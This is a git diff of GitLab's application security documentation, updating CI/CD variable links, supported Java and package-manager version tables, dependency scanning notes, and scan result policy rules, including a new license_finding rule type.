| `DAST_SKIP_TARGET_CHECK` | boolean | `true` | Set to `true` to prevent DAST from checking that the target is available before scanning. Default: `false`. |
| `DAST_TARGET_AVAILABILITY_TIMEOUT` | number | `60` | Time limit in seconds to wait for target availability. |
| `DAST_WEBSITE` | URL | `https://example.com` | The URL of the website to scan. |
diff --git a/doc/user/application_security/dast_api/index.md b/doc/user/application_security/dast_api/index.md
index 63276eba871..4c324033140 100644
--- a/doc/user/application_security/dast_api/index.md
+++ b/doc/user/application_security/dast_api/index.md
@@ -828,7 +828,7 @@ provide a script that performs an authentication flow or calculates the token.
is an authentication method built into the HTTP protocol and used in conjunction with
[transport layer security (TLS)](https://en.wikipedia.org/wiki/Transport_Layer_Security).
-We recommended that you [create a CI/CD variable](../../../ci/variables/index.md#custom-cicd-variables)
+We recommended that you [create a CI/CD variable](../../../ci/variables/index.md#for-a-project)
for the password (for example, `TEST_API_PASSWORD`), and set it to be masked. You can create CI/CD
variables from the GitLab project's page at **Settings > CI/CD**, in the **Variables** section.
Because of the [limitations on masked variables](../../../ci/variables/index.md#mask-a-cicd-variable),
@@ -876,7 +876,7 @@ outgoing HTTP requests.
Follow these steps to provide the Bearer token with `DAST_API_OVERRIDES_ENV`:
-1. [Create a CI/CD variable](../../../ci/variables/index.md#custom-cicd-variables),
+1. [Create a CI/CD variable](../../../ci/variables/index.md#for-a-project),
for example `TEST_API_BEARERAUTH`, with the value
`{"headers":{"Authorization":"Bearer dXNlcm5hbWU6cGFzc3dvcmQ="}}` (substitute your token). You
can create CI/CD variables from the GitLab projects page at **Settings > CI/CD**, in the
@@ -1271,7 +1271,7 @@ variables:
```
In this example `.gitlab-ci.yml`, the `SECRET_OVERRIDES` variable provides the JSON. This is a
-[group or instance level CI/CD variable defined in the UI](../../../ci/variables/index.md#add-a-cicd-variable-to-an-instance):
+[group or instance level CI/CD variable defined in the UI](../../../ci/variables/index.md#define-a-cicd-variable-in-the-ui):
```yaml
stages:
@@ -1528,7 +1528,7 @@ variables:
### Example: Using a masked CI/CD variable
-The following `.gitlab-ci.yml` sample assumes the [masked variable](../../../ci/variables/index.md#mask-a-cicd-variable) `SECRET_REQUEST_HEADERS_BASE64` is defined as a [group or instance level CI/CD variable defined in the UI](../../../ci/variables/index.md#add-a-cicd-variable-to-an-instance). The value of `SECRET_REQUEST_HEADERS_BASE64` is set to `WC1BQ01FLVNlY3JldDogc31jcnt0ISwgWC1BQ01FLVRva2VuOiA3MDVkMTZmNWUzZmI=`, which is the Base64-encoded text version of `X-ACME-Secret: s3cr3t!, X-ACME-Token: 705d16f5e3fb`. Then, it can be used as follows:
+The following `.gitlab-ci.yml` sample assumes the [masked variable](../../../ci/variables/index.md#mask-a-cicd-variable) `SECRET_REQUEST_HEADERS_BASE64` is defined as a [group or instance level CI/CD variable defined in the UI](../../../ci/variables/index.md#define-a-cicd-variable-in-the-ui). The value of `SECRET_REQUEST_HEADERS_BASE64` is set to `WC1BQ01FLVNlY3JldDogc31jcnt0ISwgWC1BQ01FLVRva2VuOiA3MDVkMTZmNWUzZmI=`, which is the Base64-encoded text version of `X-ACME-Secret: s3cr3t!, X-ACME-Token: 705d16f5e3fb`. Then, it can be used as follows:
```yaml
stages:
diff --git a/doc/user/application_security/dependency_scanning/analyzers.md b/doc/user/application_security/dependency_scanning/analyzers.md
index e4466dffd56..d13c4cecdf4 100644
--- a/doc/user/application_security/dependency_scanning/analyzers.md
+++ b/doc/user/application_security/dependency_scanning/analyzers.md
@@ -7,17 +7,6 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Dependency Scanning Analyzers **(ULTIMATE)**
-Dependency Scanning relies on underlying third-party tools that are wrapped into
-what we call "Analyzers". An analyzer is a
-[dedicated project](https://gitlab.com/gitlab-org/security-products/analyzers)
-that wraps a particular tool to:
-
-- Expose its detection logic.
-- Handle its execution.
-- Convert its output to the common format.
-
-This is achieved by implementing the [common API](https://gitlab.com/gitlab-org/security-products/analyzers/common).
-
Dependency Scanning supports the following official analyzers:
- [`gemnasium`](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium)
@@ -27,8 +16,6 @@ Dependency Scanning supports the following official analyzers:
The analyzers are published as Docker images, which Dependency Scanning uses
to launch dedicated containers for each analysis.
-The Dependency Scanning analyzers' current major version number is 2.
-
Dependency Scanning is pre-configured with a set of **default images** that are
maintained by GitLab, but users can also integrate their own **custom images**.
diff --git a/doc/user/application_security/dependency_scanning/index.md b/doc/user/application_security/dependency_scanning/index.md
index a4957c96db4..8106201cb99 100644
--- a/doc/user/application_security/dependency_scanning/index.md
+++ b/doc/user/application_security/dependency_scanning/index.md
@@ -198,13 +198,13 @@ table.supported-languages ul {
<tr>
<td rowspan="2">Java</td>
<td rowspan="2">
- 8,
- 11,
+ 8 LTS,
+ 11 LTS,
13<sup><b><a href="#notes-regarding-supported-languages-and-package-managers-1">1</a></b></sup>,
14<sup><b><a href="#notes-regarding-supported-languages-and-package-managers-1">1</a></b></sup>,
15<sup><b><a href="#notes-regarding-supported-languages-and-package-managers-1">1</a></b></sup>,
16<sup><b><a href="#notes-regarding-supported-languages-and-package-managers-1">1</a></b></sup>,
- or 17
+ or 17 LTS
</td>
<td><a href="https://gradle.org/">Gradle</a><sup><b><a href="#notes-regarding-supported-languages-and-package-managers-2">2</a></b></sup></td>
<td>
@@ -295,7 +295,7 @@ table.supported-languages ul {
<li>
<a id="notes-regarding-supported-languages-and-package-managers-1"></a>
<p>
- This version of Java is not supported by the FIPS-enabled image of <code>gemnasium-maven</code>.
+ Support for these versions of Java is deprecated and is planned to be removed in the GitLab 16.0 release. Additionally, these versions of Java are not supported by the FIPS-enabled image of <code>gemnasium-maven</code>. Official support is limited to LTS versions only. Although it may be possible to use Dependency Scanning with other versions by building a custom dependency scanning image, this approach is not officially supported by GitLab.
</p>
</li>
<li>
@@ -353,16 +353,16 @@ GitLab analyzers obtain dependency information using one of the following two me
The following package managers use lockfiles that GitLab analyzers are capable of parsing directly:
-| Package Manager | Supported File Format Versions | Tested Versions |
-| ------ | ------ | ------ |
-| Bundler | Not applicable | [1.17.3](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/master/qa/fixtures/ruby-bundler/default/Gemfile.lock#L118), [2.1.4](https://gitlab.com/gitlab-org/security-products/tests/ruby-bundler/-/blob/bundler2-FREEZE/Gemfile.lock#L118) |
-| Composer | Not applicable | [1.x](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/master/qa/fixtures/php-composer/default/composer.lock) |
-| Conan | 0.4 | [1.x](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/master/qa/fixtures/c-conan/default/conan.lock) |
-| Go | Not applicable | [1.x](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/master/qa/fixtures/go-modules/default/go.sum) <sup><strong><a href="#notes-regarding-parsing-lockfiles-1">1</a></strong></sup> |
-| NuGet | v1 | [4.9](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/master/qa/fixtures/csharp-nuget-dotnetcore/default/src/web.api/packages.lock.json#L2) |
-| npm | v1, v2 | [6.x](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/master/qa/fixtures/js-npm/default/package-lock.json#L4), [7.x](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/master/qa/fixtures/js-npm/lockfileVersion2/package-lock.json#L4) |
-| yarn | v1 | [1.x](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/master/qa/fixtures/js-yarn/default/yarn.lock#L2) |
-| Poetry | v1 | [1.x](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-python/-/blob/v3/qa/fixtures/python-poetry/default/poetry.lock) |
+| Package Manager | Supported File Format Versions | Tested Versions |
+| ------ | ------ | ------ |
+| Bundler | Not applicable | [1.17.3](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/master/qa/fixtures/ruby-bundler/default/Gemfile.lock#L118), [2.1.4](https://gitlab.com/gitlab-org/security-products/tests/ruby-bundler/-/blob/bundler2-FREEZE/Gemfile.lock#L118) |
+| Composer | Not applicable | [1.x](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/master/qa/fixtures/php-composer/default/composer.lock) |
+| Conan | 0.4 | [1.x](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/master/qa/fixtures/c-conan/default/conan.lock#L38) |
+| Go | Not applicable | [1.x](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/master/qa/fixtures/go-modules/gosum/default/go.sum) <sup><strong><a href="#notes-regarding-parsing-lockfiles-1">1</a></strong></sup> |
+| NuGet | v1 | [4.9](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/master/qa/fixtures/csharp-nuget-dotnetcore/default/src/web.api/packages.lock.json#L2) |
+| npm | v1, v2, v3 | [6.x](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/master/qa/fixtures/js-npm/default/package-lock.json#L4), [7.x](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/master/qa/fixtures/js-npm/lockfileVersion2/package-lock.json#L4), [9.x](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/master/scanner/parser/npm/fixtures/lockfile-v3/simple/package-lock.json#L4) |
+| yarn | v1 | [1.x](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/master/qa/fixtures/js-yarn/default/yarn.lock#L2) |
+| Poetry | v1 | [1.x](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/master/qa/fixtures/python-poetry/default/poetry.lock) |
<!-- markdownlint-disable MD044 -->
<ol>
@@ -383,21 +383,27 @@ To support the following package managers, the GitLab analyzers proceed in two s
1. Execute the package manager or a specific task, to export the dependency information.
1. Parse the exported dependency information.
-| Package Manager | Pre-installed Versions | Tested Versions |
-| ------ | ------ | ------ |
-| sbt | [1.6.1](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-maven/-/blob/v2.24.6/config/.tool-versions#L4) | [1.0.4](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-maven/-/blob/v2.28.1/spec/image_spec.rb#L443-447), [1.1.6](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-maven/-/blob/v2.28.1/spec/image_spec.rb#L449-453), [1.2.8](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-maven/-/blob/v2.28.1/spec/image_spec.rb#L455-459), [1.3.12](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-maven/-/blob/v2.28.1/spec/image_spec.rb#L461-465), [1.4.6](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-maven/-/blob/v2.28.1/spec/image_spec.rb#L467-471), [1.5.8](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-maven/-/blob/v2.28.1/spec/image_spec.rb#L473-477), [1.6.1](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-maven/-/blob/v2.28.1/spec/image_spec.rb#L479-483) |
-| Maven | [3.6.3](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-maven/-/blob/v2.28.1/spec/image_spec.rb#L95-97) | [3.6.3](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-maven/-/blob/v2.28.1/spec/image_spec.rb#L95-97) |
-| Gradle | [6.7.1](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-maven/-/blob/v2.23.0/config/.tool-versions#L5)<sup><b><a href="#exported-dependency-information-notes-1">1</a></b></sup>, [7.3.3](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-maven/-/blob/v2.26.0/config/.tool-versions#L5)<sup><b><a href="#exported-dependency-information-notes-1">1</a></b></sup> | [5.6.4](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-maven/-/blob/v2.28.1/spec/image_spec.rb#L319-323), [6.7](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-maven/-/blob/v2.28.1/spec/image_spec.rb#L286-288)<sup><b><a href="#exported-dependency-information-notes-2">2</a></b></sup>, [6.9](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-maven/-/blob/v2.28.1/spec/image_spec.rb#L331-335), [7.3](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-maven/-/blob/v2.28.1/spec/image_spec.rb#L300-302)<sup><b><a href="#exported-dependency-information-notes-2">2</a></b></sup> |
-| setuptools | [50.3.2](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v2.29.9/Dockerfile#L27) | [57.5.0](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-python/-/blob/v2.22.0/spec/image_spec.rb#L224-247) |
-| pip | [20.2.4](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v2.29.9/Dockerfile#L26) | [20.x](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-python/-/blob/v2.22.0/spec/image_spec.rb#L77-91) |
-| Pipenv | [2018.11.26](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-python/-/blob/v2.18.4/requirements.txt#L13) | [2018.11.26](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-python/-/blob/v2.22.0/spec/image_spec.rb#L168-191)<sup><b><a href="#exported-dependency-information-notes-3">3</a></b></sup>, [2018.11.26](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-python/-/blob/v2.22.0/spec/image_spec.rb#L143-166) |
-| Go | [1.17](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/7dc7a892b564abfcb160189f46b2ae6415e0dffa/build/gemnasium/alpine/Dockerfile#L88-91) | [1.17](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/7dc7a892b564abfcb160189f46b2ae6415e0dffa/build/gemnasium/alpine/Dockerfile#L88-91)<sup><strong><a href="#exported-dependency-information-notes-4">4</a></strong></sup> |
+| Package Manager | Pre-installed Versions | Tested Versions |
+| ------ | ------ | ------ |
+| sbt | [1.6.1](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v3.10.6/build/gemnasium-maven/debian/config/.tool-versions#L4) | [1.0.4](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v3.0.2/spec/gemnasium-maven_image_spec.rb#L445-449), [1.1.6](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v3.0.2/spec/gemnasium-maven_image_spec.rb#L451-455), [1.2.8](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v3.0.2/spec/gemnasium-maven_image_spec.rb#L457-461), [1.3.12](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v3.0.2/spec/gemnasium-maven_image_spec.rb#L463-467), [1.4.6](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v3.0.2/spec/gemnasium-maven_image_spec.rb#L469-473), [1.5.8](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v3.0.2/spec/gemnasium-maven_image_spec.rb#L475-479), [1.6.1](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v3.0.2/spec/gemnasium-maven_image_spec.rb#L481-485) |
+| Maven | [3.6.3](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v3.10.6/build/gemnasium-maven/debian/config/.tool-versions#L3) | [3.6.3](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v3.0.2/spec/gemnasium-maven_image_spec.rb#L95-97)<sup><b><a href="#exported-dependency-information-notes-1">1</a></b></sup> |
+| Gradle | [6.7.1](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v3.10.6/build/gemnasium-maven/debian/config/.tool-versions#L5)<sup><b><a href="#exported-dependency-information-notes-2">2</a></b></sup>, [7.3.3](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v3.10.6/build/gemnasium-maven/debian/config/.tool-versions#L5)<sup><b><a href="#exported-dependency-information-notes-2">2</a></b></sup> | [5.6.4](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v3.0.2/spec/gemnasium-maven_image_spec.rb#L314-319), [6.7](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v3.0.2/spec/gemnasium-maven_image_spec.rb#L321-326), [6.9](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v3.0.2/spec/gemnasium-maven_image_spec.rb#L328-333), [7.3](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v3.0.2/spec/gemnasium-maven_image_spec.rb#L335-339) |
+| setuptools | [58.1.0](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v3.10.6/build/gemnasium-python/debian/Dockerfile#L17) | [>= 65.6.3](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v3.10.6/spec/gemnasium-python_image_spec.rb#L249-271) |
+| pip | [22.0.4](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v3.10.6/build/gemnasium-python/debian/Dockerfile#L17) | [20.x](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v3.0.2/spec/gemnasium-python_image_spec.rb#L88-102) |
+| Pipenv | [2022.1.8](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v3.10.6/build/gemnasium-python/requirements.txt#L13) | [2022.1.8](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v3.0.2/spec/gemnasium-python_image_spec.rb#L186-210)<sup><b><a href="#exported-dependency-information-notes-3">3</a></b></sup>, [2022.1.8](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v3.0.2/spec/gemnasium-python_image_spec.rb#L161-183) |
+| Go | [1.18](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v3.10.6/build/gemnasium/alpine/Dockerfile#L88-91) | [1.18](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v3.10.6/build/gemnasium/alpine/Dockerfile#L88-91)<sup><strong><a href="#exported-dependency-information-notes-4">4</a></strong></sup> |
<!-- markdownlint-disable MD044 -->
<ol>
<li>
<a id="exported-dependency-information-notes-1"></a>
<p>
+ This test uses the default version of <code>maven</code> specified by the <a href="https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v3.10.6/build/gemnasium-maven/debian/config/.tool-versions#L3">.tool-versions</a> file.
+ </p>
+ </li>
+ <li>
+ <a id="exported-dependency-information-notes-2"></a>
+ <p>
Different versions of Java require different versions of Gradle. The versions of Gradle listed in the above table are pre-installed
in the analyzer image. The version of Gradle used by the analyzer depends on whether your project uses a <code>gradlew</code>
(Gradle wrapper) file or not:
@@ -423,12 +429,6 @@ To support the following package managers, the GitLab analyzers proceed in two s
</ul>
</li>
<li>
- <a id="exported-dependency-information-notes-2"></a>
- <p>
- These tests confirm that if a <code>gradlew</code> file does not exist, the version of <code>Gradle</code> pre-installed in the analyzer image is used.
- </p>
- </li>
- <li>
<a id="exported-dependency-information-notes-3"></a>
<p>
This test confirms that if a <code>Pipfile.lock</code> file is found, it will be used by <a href="https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium">Gemnasium</a> to scan the exact package versions listed in this file.
@@ -654,7 +654,7 @@ The following variables are used for configuring specific analyzers (used for a
| `DS_INCLUDE_DEV_DEPENDENCIES` | `gemnasium` | `"true"` | When set to `"false"`, development dependencies and their vulnerabilities are not reported. Only NPM and Poetry projects are supported. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/227861) in GitLab 15.1. |
| `GOOS` | `gemnasium` | `"linux"` | The operating system for which to compile Go code. |
| `GOARCH` | `gemnasium` | `"amd64"` | The architecture of the processor for which to compile Go code. |
-| `GOFLAGS` | `gemansium` | | The flags passed to the `go build` tool. |
+| `GOFLAGS` | `gemnasium` | | The flags passed to the `go build` tool. |
| `GOPRIVATE` | `gemnasium` | | A list of glob patterns and prefixes to be fetched from source. Read the Go private modules [documentation](https://go.dev/ref/mod#private-modules) for more information. |
#### Other variables
@@ -662,7 +662,7 @@ The following variables are used for configuring specific analyzers (used for a
The previous tables are not an exhaustive list of all variables that can be used. They contain all specific GitLab and analyzer variables we support and test. There are many variables, such as environment variables, that you can pass in and they will work. This is a large list, many of which we may be unaware of, and as such is not documented.
For example, to pass the non-GitLab environment variable `HTTPS_PROXY` to all Dependency Scanning jobs,
-set it as a [custom CI/CD variable in your `.gitlab-ci.yml`](../../../ci/variables/index.md#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file)
+set it as a [CI/CD variable in your `.gitlab-ci.yml`](../../../ci/variables/index.md#define-a-cicd-variable-in-the-gitlab-ciyml-file)
file like this:
```yaml
@@ -697,7 +697,7 @@ variables:
-----END CERTIFICATE-----
```
-The `ADDITIONAL_CA_CERT_BUNDLE` value can also be configured as a [custom variable in the UI](../../../ci/variables/index.md#custom-cicd-variables), either as a `file`, which requires the path to the certificate, or as a variable, which requires the text representation of the certificate.
+The `ADDITIONAL_CA_CERT_BUNDLE` value can also be configured as a [custom variable in the UI](../../../ci/variables/index.md#for-a-project), either as a `file`, which requires the path to the certificate, or as a variable, which requires the text representation of the certificate.
### Using private Maven repositories
diff --git a/doc/user/application_security/iac_scanning/index.md b/doc/user/application_security/iac_scanning/index.md
index 1c14c529523..24448dc9668 100644
--- a/doc/user/application_security/iac_scanning/index.md
+++ b/doc/user/application_security/iac_scanning/index.md
@@ -221,8 +221,8 @@ For example, you might need to avoid a regression in a later release.
To override the automatic update behavior, set the `SAST_ANALYZER_IMAGE_TAG` CI/CD variable
in your CI/CD configuration file after you include the [`SAST-IaC.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/SAST-IaC.gitlab-ci.yml).
-Only set this variable within a specific job.
-If you set it [at the top level](../../../ci/variables/index.md#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file), the version you set will be used for other SAST analyzers.
+Only set this variable in a specific job.
+If you set it [at the top level](../../../ci/variables/index.md#define-a-cicd-variable-in-the-gitlab-ciyml-file), the version you set will be used for other SAST analyzers.
You can set the tag to:
diff --git a/doc/user/application_security/index.md b/doc/user/application_security/index.md
index 6629c798cfa..a623b819b08 100644
--- a/doc/user/application_security/index.md
+++ b/doc/user/application_security/index.md
@@ -126,7 +126,7 @@ To enable all GitLab Security scanning tools, with default settings, enable
- [Auto License Compliance](../../topics/autodevops/stages.md#auto-license-compliance)
- [Auto Container Scanning](../../topics/autodevops/stages.md#auto-container-scanning)
-While you cannot directly customize Auto DevOps, you can [include the Auto DevOps template in your project's `.gitlab-ci.yml` file](../../topics/autodevops/customize.md#customizing-gitlab-ciyml).
+While you cannot directly customize Auto DevOps, you can [include the Auto DevOps template in your project's `.gitlab-ci.yml` file](../../topics/autodevops/customize.md#customize-gitlab-ciyml).
## Security scanning without Auto DevOps
@@ -290,7 +290,7 @@ to pass a username and password. You can set it under your project's settings
so that your credentials aren't exposed in `.gitlab-ci.yml`.
If the username is `myuser` and the password is `verysecret` then you would
-[set the following variable](../../ci/variables/index.md#custom-cicd-variables)
+[set the following variable](../../ci/variables/index.md#for-a-project)
under your project's settings:
| Type | Key | Value |
@@ -580,7 +580,7 @@ to the GitLab server and visible in job logs.
This message is often followed by the [error `No files to upload`](../../ci/pipelines/job_artifacts.md#error-message-no-files-to-upload),
and preceded by other errors or warnings that indicate why the JSON report wasn't generated. Check
the entire job log for such messages. If you don't find these messages, retry the failed job after
-setting `SECURE_LOG_LEVEL: "debug"` as a [custom CI/CD variable](../../ci/variables/index.md#custom-cicd-variables).
+setting `SECURE_LOG_LEVEL: "debug"` as a [custom CI/CD variable](../../ci/variables/index.md#for-a-project).
This provides extra information to investigate further.
### Getting error message `sast job: config key may not be used with 'rules': only/except`
diff --git a/doc/user/application_security/offline_deployments/index.md b/doc/user/application_security/offline_deployments/index.md
index 05e56560f95..6976956758d 100644
--- a/doc/user/application_security/offline_deployments/index.md
+++ b/doc/user/application_security/offline_deployments/index.md
@@ -151,7 +151,7 @@ GitLab.com. To do so, set the CI/CD variable `SECURE_ANALYZERS_PREFIX` with the
project [container registry](../../packages/container_registry/index.md).
You can set this variable in the projects' `.gitlab-ci.yml`, or
-in the GitLab UI at the project or group level. See the [GitLab CI/CD variables page](../../../ci/variables/index.md#custom-cicd-variables)
+in the GitLab UI at the project or group level. See the [GitLab CI/CD variables page](../../../ci/variables/index.md#define-a-cicd-variable-in-the-ui)
for more information.
#### Variables
@@ -227,7 +227,7 @@ these steps:
The AutoDevOps templates leverage the `SECURE_ANALYZERS_PREFIX` variable to identify the location
of analyzer images. This variable is discussed above in [Using the secure bundle created](#using-the-secure-bundle-created).
Ensure that you set this variable to the correct value for where you loaded the analyzer images.
- You could consider doing this with a project CI/CD variable or by [modifying](../../../topics/autodevops/customize.md#customizing-gitlab-ciyml)
+ You could consider doing this with a project CI/CD variable or by [modifying](../../../topics/autodevops/customize.md#customize-gitlab-ciyml)
the `.gitlab-ci.yml` file directly.
Once these steps are complete, GitLab has local copies of the Secure analyzers and is set up to use
diff --git a/doc/user/application_security/policies/scan-result-policies.md b/doc/user/application_security/policies/scan-result-policies.md
index 5df910efb15..6bf3532f95e 100644
--- a/doc/user/application_security/policies/scan-result-policies.md
+++ b/doc/user/application_security/policies/scan-result-policies.md
@@ -17,7 +17,7 @@ job is fully executed. The following video gives you an overview of GitLab scan
See the video: <a href="https://youtu.be/w5I9gcUgr9U">Overview of GitLab Scan Result Policies</a>.
</div>
<figure class="video-container">
- <iframe src="https://www.youtube.com/embed/w5I9gcUgr9U" frameborder="0" allowfullscreen="true"> </iframe>
+ <iframe src="https://www.youtube-nocookie.com/embed/w5I9gcUgr9U" frameborder="0" allowfullscreen> </iframe>
</figure>
## Scan result policy editor
@@ -70,7 +70,7 @@ the following sections and tables provide an alternative.
## `scan_finding` rule type
-This rule enforces the defined actions based on the information provided.
+This rule enforces the defined actions based on security scan findings.
| Field | Type | Possible values | Description |
|------------|------|-----------------|-------------|
@@ -79,7 +79,19 @@ This rule enforces the defined actions based on the information provided.
| `scanners` | `array` of `string` | `sast`, `secret_detection`, `dependency_scanning`, `container_scanning`, `dast`, `coverage_fuzzing`, `api_fuzzing` | The security scanners for this rule to consider. |
| `vulnerabilities_allowed` | `integer` | Greater than or equal to zero | Number of vulnerabilities allowed before this rule is considered. |
| `severity_levels` | `array` of `string` | `info`, `unknown`, `low`, `medium`, `high`, `critical`| The severity levels for this rule to consider. |
-| `vulnerability_states` | `array` of `string` | `newly_detected`, `detected`, `confirmed`, `resolved`, `dismissed` | The vulnerability states for this rule to consider when the target branch is set to the default branch. The `newly_detected` state considers all newly detected vulnerabilities regardless of their status or dismissal. The other states consider findings that match the selected state and already exist in the default branch. |
+| `vulnerability_states` | `array` of `string` | `newly_detected`, `detected`, `confirmed`, `resolved`, `dismissed` | All vulnerabilities fall into two categories:<br><br>**Newly Detected Vulnerabilities** - the `newly_detected` policy option covers vulnerabilities that are both `Detected` or `Dismissed` within the merge request itself where the vulnerabilities do not currently exist on the default branch. This policy option requires a pipeline to complete before the rule is evaluated so that it knows whether vulnerabilities are newly detected or not. Merge requests are blocked until the pipeline, and necessary security scans are complete.<br><br> • Detected<br> • Dismissed<br><br>**Pre-Existing Vulnerabilities** - these policy options are evaluated immediately and do not require a pipeline complete as they consider only vulnerabilities previously detected in the default branch.<br><br> • `Detected` - the policy looks for vulnerabilities in the detected state.<br> • `Confirmed` - the policy looks for vulnerabilities in the confirmed state.<br> • `Dismissed` - the policy looks for vulnerabilities in the dismissed state.<br> • `Resolved` - the policy looks for vulnerabilities in the resolved state. |
+
+## `license_finding` rule type
+
+This rule enforces the defined actions based on license findings.
+
+| Field | Type | Possible values | Description |
+|------------|------|-----------------|-------------|
+| `type` | `string` | `license_finding` | The rule's type. |
+| `branches` | `array` of `string` | `[]` or the branch's name | Applicable only to protected target branches. An empty array, `[]`, applies the rule to all protected target branches. |
+| `match_on_inclusion` | `boolean` | `true`, `false` | Whether the rule matches inclusion or exclusion of licenses listed in `license_types`. |
+| `license_types` | `array` of `string` | license types | License types to match on, for example `BSD` or `MIT`. |
+| `license_states` | `array` of `string` | `newly_detected`, `detected` | Whether to match newly detected and/or previously detected licenses. |
## `require_approval` action type
diff --git a/doc/user/application_security/sast/analyzers.md b/doc/user/application_security/sast/analyzers.md
index e83825636bf..efbbf447845 100644
--- a/doc/user/application_security/sast/analyzers.md
+++ b/doc/user/application_security/sast/analyzers.md
@@ -73,7 +73,7 @@ GitLab maintains the analyzer and writes detection rules for it.
If you use the [GitLab-managed CI/CD template](index.md#configuration), the Semgrep-based analyzer operates alongside other language-specific analyzers.
It runs with GitLab-managed detection rules that mimic the other analyzers' detection rules.
-Work to remove language-specific analyzers and replace them with the Semgrep-based analyzer is tracked in [this epic](https://gitlab.com/groups/gitlab-org/-/epics/5245).
+Work to remove language-specific analyzers and replace them with the Semgrep-based analyzer is tracked in [epic 5245](https://gitlab.com/groups/gitlab-org/-/epics/5245). In case of duplicate findings, the [analyzer order](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/reports/security/scanner.rb#L15) determines which analyzer's findings are preferred.
You can choose to disable the other analyzers early and use Semgrep-based scanning for supported languages before the default behavior changes. If you do so:
diff --git a/doc/user/application_security/sast/customize_rulesets.md b/doc/user/application_security/sast/customize_rulesets.md
index 3d8ad6c8bf6..aec7158d2e4 100644
--- a/doc/user/application_security/sast/customize_rulesets.md
+++ b/doc/user/application_security/sast/customize_rulesets.md
@@ -385,7 +385,7 @@ rules:
pattern: print("Hello World")
message: |
Unauthorized use of Hello World.
- severity: CRITICAL
+ severity: ERROR
